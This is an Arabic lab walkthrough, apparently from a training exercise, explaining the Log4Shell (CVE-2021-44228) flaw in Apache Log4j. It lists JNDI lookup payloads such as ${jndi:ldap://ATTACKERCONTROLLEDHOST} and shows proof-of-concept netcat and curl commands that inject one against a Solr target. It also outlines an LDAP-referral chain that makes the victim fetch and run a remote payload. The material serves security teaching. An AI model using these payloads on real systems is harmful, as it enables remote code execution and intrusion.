ثغرة Log4j، المعروفة أيضًا باسم "Log4Shell" أو "CVE-2021-44228"، هي عيب أمني خطير في مكتبة Apache Log4j. Log4j هي إطار تسجيل قائم على جافا يُستخدم على نطاق واسع، ويتيح للمطورين تسجيل الرسائل من التطبيقات إلى وجهات مختلفة، مثل الملفات وقواعد البيانات والمخرجات الطرفية.

تم اكتشاف الثغرة في ديسمبر 2021، وحظيت باهتمام كبير نظرًا لخطورتها وإمكانية استغلالها. تؤثر الثغرة على إصدارات Log4j 2.x، وفي بعض الحالات، حتى الإصدارات السابقة. ثغرة Log4j هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE)، مما يعني أن المهاجم يمكنه تنفيذ تعليمات برمجية عشوائية على النظام المستهدف من خلال استغلال العيب. يحدث العيب بسبب خلل في تصميم مكتبة Log4j يتعلق بمعالجة رسائل السجل التي تحتوي على بيانات مصممة خصيصًا.

يعتمد استغلال الثغرة على القدرة على حقن تعليمات برمجية ضارة في رسالة السجل. يمكن تحقيق ذلك من خلال ناقلات مختلفة، مثل حقول الإدخال التي يتحكم فيها المستخدم، أو رؤوس طلبات HTTP، أو أي بيانات يقدمها المستخدم يتم تمريرها إلى تعليمة السجل.

عندما يقوم تطبيق ضعيف بمعالجة رسالة سجل تحتوي على البيانات المصممة خصيصًا، يفسر Log4j البيانات على أنها بحث في Java Naming and Directory Interface (JNDI). من خلال استغلال هذا السلوك، يمكن للمهاجم صياغة حمولة تؤدي إلى بحث JNDI إلى خادم ضار يتحكم فيه المهاجم. يمكن لهذا الخادم بعد ذلك الرد بحمولة يتم تنفيذها على النظام المستهدف، مما يسمح للمهاجم بتحقيق تنفيذ التعليمات البرمجية عن بُعد.

تأثير ثغرة Log4j شديد لأن Log4j يُستخدم على نطاق واسع عبر العديد من التطبيقات القائمة على جافا، بما في ذلك خوادم الويب والتطبيقات والخدمات السحابية. تسمح الثغرة للمهاجمين بالوصول غير المصرح به إلى الأنظمة المتأثرة، مما قد يؤدي إلى اختراق البيانات، واختراق النظام، ومزيد من الاستغلال للبيئة المخترقة.

اليوم، يتوفر إصدار log4j 2.16.0 ويصلح هذه الثغرة (تم تعطيل JNDI بالكامل، وإزالة دعم عمليات بحث الرسائل، وثغرة DoS الجديدة CVE-2021-45046 غير موجودة). (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)

ومع ذلك، فإن الخطر الهائل لهذه الثغرة يعود إلى مدى انتشار حزمة التسجيل. الملايين من التطبيقات بالإضافة إلى مزودي البرامج يستخدمون هذه الحزمة كاعتماد في الكود الخاص بهم. بينما قد تتمكن من تصحيح قاعدة الكود الخاصة بك التي تستخدم log4j، فإن البائعين والمصنعين الآخرين سيظلون بحاجة إلى دفع تحديثات الأمان الخاصة بهم إلى الأسفل. شبه العديد من باحثي الأمن هذه الثغرة بثغرة Shellshock نظرًا لطبيعة سطح الهجوم الهائل. سنرى هذه الثغرة لسنوات قادمة.

للحصول على قائمة مدعومة من المجتمع تنمو باستمرار للبرامج والخدمات المعرضة لـ CVE-2021-44228، تحقق من مستودع GitHub هذا (https://github.com/YfryTchsGD/Log4jAttackSurface)

بينما هناك عدد من المقالات والمدونات والموارد ومواد التعلم الأخرى المحيطة بـ CVE-2021-44228، أنا (مؤلف هذا التمرين) أميل بشكل خاص إلى هذه:

حزمة log4j تضيف منطقًا إضافيًا إلى السجلات عن طريق "تحليل" الإدخالات، بهدف إثراء البيانات في النهاية - ولكنها قد تتخذ أيضًا إجراءات وحتى تقوم بتقييم الكود بناءً على بيانات الإدخال. هذا هو جوهر CVE-2021-44228. قد يتم تنفيذ صيغ أخرى في الواقع تمامًا كما يتم إدخالها في ملفات السجل. بعض الأمثلة على هذه الصيغ هي:

${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}

قد تعرف بالفعل الحمولة العامة لاستغلال هذه الثغرة في log4j. تنسيق الصيغة المعتادة التي تستغل هذا يبدو هكذا:

${jndi:ldap://ATTACKERCONTROLLEDHOST}

تشير هذه الصيغة إلى أن log4j سوف يستدعي وظائف من "JNDI"، أو "Java Naming and Directory Interface". في النهاية، يمكن استخدام هذا للوصول إلى موارد خارجية، أو "مراجع"، وهو ما يتم تسليحه في هذا الهجوم.

لاحظ مخطط "ldap://". يشير هذا إلى أن الهدف سيتصل بنقطة نهاية (موقع يتحكم فيه المهاجم، في حالة هذا الهجوم) عبر بروتوكول LDAP. من أجل الاختصار، لن نحتاج إلى تغطية جميع التفاصيل الدقيقة لـ LDAP هنا، ولكن اعلم أن هذا شيء سنحتاج إلى التعامل معه أثناء تحسين هجومنا. في الوقت الحالي، اعلم أن الهدف سيقوم بالفعل بعمل اتصال بموقع خارجي. يشار إلى ذلك بواسطة العنصر النائب ATTACKERCONTROLLEDHOST في الصيغة أعلاه. أنت، باعتبارك المهاجم في هذا السيناريو، يمكنك استضافة مستمع بسيط لعرض هذا الاتصال.

السؤال التالي هو، أين يمكننا إدخال هذه الصيغة؟ في أي مكان يتم فيه تسجيل البيانات بواسطة التطبيق.

هذا هو جوهر هذه الثغرة. لسوء الحظ، من الصعب جدًا تحديد سطح الهجوم للتطبيقات المختلفة، وبالتالي، أي التطبيقات ضعيفة بالفعل. مجرد رؤية وجود ملفات log4j لا يكشف عن رقم الإصدار الدقيق، أو حتى أين وكيف يستخدم التطبيق الحزمة.

مواقع أخرى قد تقدم فيها صيغة JNDI هذه:

مربعات الإدخال، نماذج تسجيل الدخول للمستخدم وكلمة المرور، نقاط إدخال البيانات داخل التطبيقات
رؤوس HTTP مثل User-Agent و X-Forwarded-For أو رؤوس أخرى قابلة للتخصيص
أي مكان للبيانات التي يقدمها المستخدم

إذا كنت ترغب في مزيد من المعلومات حول ناقل هجوم JNDI هذا، يرجى مراجعة هذا العرض التقديمي من Black Hat USA 2016. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

إثبات المفهوم (POC)

لتحضير بيئتك لاختبار الثغرة واستقبال اتصال، اعرض عنوان IP الخاص بجهازك المهاجم بالأمر التالي: user@host$ ip addr show
قم بإعداد مستمع netcat على أي منفذ تختاره (9999 مثال جيد): user@host$ nc -lnvp 9999
الآن بعد أن قمت بإعداد المستمع، قم بتقديم طلب يتضمن صيغة حمولة JNDI البدائية هذه كجزء من معلمات HTTP. يمكن القيام بذلك بسهولة باستخدام أداة سطر الأوامر curl. user@host$ curl 'h<target_url>/solr/?foo=${jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999}' ملاحظة: نظرًا لاستخدام حرف الدولار $ في صيغتك، يجب التأكد من وضع عنوان URL بين علامتي اقتباس مفردة حتى لا يفسره bash (قذيفة سطر الأوامر الخاصة بك) كمتغير. بالإضافة إلى ذلك، يجب عليك إفلات الأقواس المتعرجة { } بشرطة مائلة عكسية واحدة، حتى لا يتم تفسيرها بشكل خاطئ في وسائط أمر curl.
تحقق من استلام اتصال برؤية الرسالة التالية في مستمع netcat الخاص بك: Connection received from <x.x.x.x>

الاستغلال (Exploitation) في هذه المرحلة، قمت بالتحقق من أن الهدف ضعيف بالفعل من خلال رؤية هذا الاتصال الذي تم التقاطه في مستمع netcat الخاص بك. ومع ذلك، فقد قام بعمل طلب LDAP... لذلك كل ما قد يكون مستمع netcat الخاص بك قد رآه هو أحرف غير قابلة للطباعة (بايتات غريبة المظهر). يمكننا الآن البناء على هذا الأساس للرد باستخدام معالج LDAP حقيقي.

سنستخدم أداة مفتوحة المصدر وعامة لمرحلة "خادم إحالة LDAP". سيتم استخدام هذا لإعادة توجيه الطلب الأولي للضحية إلى موقع آخر، حيث يمكنك استضافة حمولة ثانوية ستقوم في النهاية بتشغيل كود على الهدف. يتحلل هذا كالتالي:

${jndi:ldap://attackerserver:1389/Resource} -> يتصل بخادم إحالة LDAP الخاص بنا
خادم إحالة LDAP ينطلق بالطلب إلى http://attackerserver/resource ثانوي
يسترد الضحية وينفذ الكود الموجود في http://attackerserver/resource

هذا يعني أننا سنحتاج إلى خادم HTTP، والذي يمكننا ببساطة استضافته باستخدام أي من الخيارات التالية (يخدم على المنفذ 8000):

python3 -m http.server
php -S 0.0.0.0:8000 (أو أي busybox httpd أو خدمة ويب رسمية أخرى قد ترغب بها)

أول شيء يجب القيام به هو الحصول على خادم إحالة LDAP. سنستخدم أداة marshalsec المتوفرة على https://github.com/mbechler/marshalsec

في النهاية، هذا يحتاج إلى تشغيل جافا. مراجعة ملف README لهذه الأداة، يقترح استخدام جافا 8. (قد تنجح أو لا تنجح مع إصدار مختلف، ولكن "للعب بالقواعد"، سنطابق نفس إصدار جافا المستخدم على الجهاز المستهدف).

راجع خطوات تثبيت جافا 8 محليًا:

إذا لم تكن تعمل على 1.8.0_181 داخل جهازك المهاجم، يمكنك مراجعة خطوات "update-alternatives --set" أدناه للتبديل إلى إصدار جافا 8 هذا. يمكنك العثور على مرآة لإصدارات جافا المختلفة لتشغيلها على لينكس في هذا الموقع. http://mirrors.rootpei.com/jdk/

Log4j_CVE-2021-44228

الأكثر شعبية